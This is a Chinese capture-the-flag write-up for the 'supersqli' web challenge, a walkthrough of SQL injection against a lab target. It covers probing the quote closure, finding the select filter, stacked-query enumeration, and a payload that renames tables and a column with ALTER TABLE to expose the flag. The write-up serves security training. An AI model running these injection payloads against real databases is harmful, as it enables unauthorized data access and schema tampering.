攻防世界(CTF)~web-supersqli(详细解题思路)

题目介绍

题目描述"随便注"

先看一下是否存在注入

判断闭合方式

输入1' and 1=1-- -正常回显

输入1'and 1=2-- -无回显,确认是单引号闭合

看一下列数

输入1' order by 2-- - 有回显

输入1' order by 3-- - 报错,由此判断两列

使用union联合注入发现select被过滤了,无法使用联合注入

过滤的内容

复制代码
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试一下堆叠注入

堆叠注入的原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,会一起执行。这就是堆叠注入的基本原理

查看数据库

1';show databases;- --

查看表

1';show tables;-- -

查看两个表的字段(查看表名的时候表名要用反引号包裹)

1919810931114514表

1'; show columns from `1919810931114514`-- -

发现"flag"、"NO"

words表

1'; show columns from `words`-- -

现在虽然已经到了flag字段,但是select被过滤了,我们看不了flag字段,那么我们该怎么查看字段内容呢?

解决方法:改表名

查看过滤的内容发现rename、alert这俩关键字没有被过滤,根据在words表里发现id字段与查询框里的出的数据类型相同,一个是数字,另一个是字符串,所以默认查询的就是words表,我们可以将含有flag字段的表命名为word,然后修改字段名字

第一步:words名改为word1

alter table words rename to word1;

第二步 :把"1919810931114514"数字表名改为 words

alter table `1919810931114514` rename to words;

第三步:把现在的words表中的flag字段名改为id

alter table words change flag id varchar(100);

合在一起构造pyload(也可以分开执行语句)

1'; alter table words rename to word1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);-- -

查看flag

1' or true-- -

复制代码
flag{c168d583ed0d4d7196967b28cbd0b5e9}
相关推荐
Neolnfra20 分钟前
RCE(远程命令执行)漏洞全解析:从原理到实战
安全·web安全·http·网络安全·https·系统安全·可信计算技术
hhcgchpspk23 分钟前
一次msf免杀渗透入门实践
linux·经验分享·网络安全·系统安全·渗透·msf
汤愈韬1 小时前
防火墙用户管理技术
网络协议·网络安全·huawei
Neolnfra2 小时前
文件包含漏洞终极指南
开发语言·安全·web安全·网络安全·系统安全·php·可信计算技术
无名修道院4 小时前
XSS 跨站脚本攻击:3 种类型(存储型 / 反射型 / DOM 型)原理以 DVWA 靶场举例
前端·网络安全·渗透测试·代码审计·xss
重生之我在番茄自学网安拯救世界5 小时前
网络安全中级阶段学习笔记(八):upload靶场实战(1-13关)-文件上传漏洞绕过1
笔记·学习·网络安全·文件上传漏洞·靶场实战
云计算练习生5 小时前
渗透测试行业术语扫盲(第十五篇)—— 密码学与身份安全类
网络安全·信息安全·密码学·渗透测试术语
XH-hui5 小时前
【打靶日记】HackMyVm 之 Listen
linux·网络安全·hackmyvm·hmv
Whoami!5 小时前
❽⁄₈ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ Web漏洞利用修改
网络安全·信息安全·web漏洞利用
AI分享猿6 小时前
新手跨境电商实测:Apache 搭站,雷池 WAF 零基础部署
安全·web安全·react.js·网络安全·开源·apache